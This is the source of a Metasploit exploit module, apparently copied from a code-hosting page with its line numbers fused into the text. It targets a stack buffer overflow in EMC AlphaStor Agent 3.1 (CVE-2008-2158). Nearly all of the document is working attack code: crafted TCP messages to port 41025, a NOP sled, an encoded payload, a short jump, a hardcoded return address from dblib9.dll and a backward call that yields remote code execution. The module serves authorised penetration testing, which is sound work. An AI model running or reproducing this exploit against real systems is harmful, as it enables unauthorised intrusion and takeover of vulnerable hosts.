Path: blob/master/modules/exploits/windows/emc/alphastor_agent.rb
19813 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78include Msf::Exploit::Remote::Tcp910def initialize(info = {})11super(12update_info(13info,14'Name' => 'EMC AlphaStor Agent Buffer Overflow',15'Description' => %q{16This module exploits a stack buffer overflow in EMC AlphaStor 3.1.17By sending a specially crafted message, an attacker may18be able to execute arbitrary code.19},20'Author' => 'MC',21'License' => MSF_LICENSE,22'References' => [23[ 'CVE', '2008-2158' ],24[ 'OSVDB', '45714' ],25[ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=702' ],26],27'DefaultOptions' => {28'EXITFUNC' => 'process', # one-shot overwrite.29},30'Payload' => {31'Space' => 750,32'BadChars' => "\x00\x0a\x0d\x20",33'StackAdjustment' => -3500,34},35'Platform' => 'win',36'Targets' => [37[ 'EMC AlphaStor 3.1', { 'Ret' => 0x65153fe0 } ], # dblib9.dll 9.0.1.197538],39'Privileged' => true,40'DisclosureDate' => '2008-05-27',41'DefaultTarget' => 0,42'Notes' => {43'Reliability' => UNKNOWN_RELIABILITY,44'Stability' => UNKNOWN_STABILITY,45'SideEffects' => UNKNOWN_SIDE_EFFECTS46}47)48)4950register_options([Opt::RPORT(41025)])51end5253def exploit54connect5556# overwrite via: ascli.exe asopmsg "long_buff"57uno = [0x0000000b].pack('V')58sock.put(uno)5960dos = rand_text_alpha_upper(3) + "@" + rand_text_alpha_upper(6) + "\x00"61sock.put(dos)6263tres = [0x00000004].pack('V')64sock.put(tres)6566quatro = [0x0000001b].pack('V')67sock.put(quatro)6869cinco = [0x0000047c].pack('V')70sock.put(cinco)7172data = make_nops(827 - payload.encoded.length) + payload.encoded73data << make_nops(2) + Rex::Arch::X86.jmp_short(6) + [target.ret].pack('V')74data << make_nops(8) + [0xe8, -750].pack('CV') + rand_text_alpha_upper(500) + "\x00"7576print_status("Trying target #{target.name}...")77sock.put(data)7879handler80disconnect81end82end838485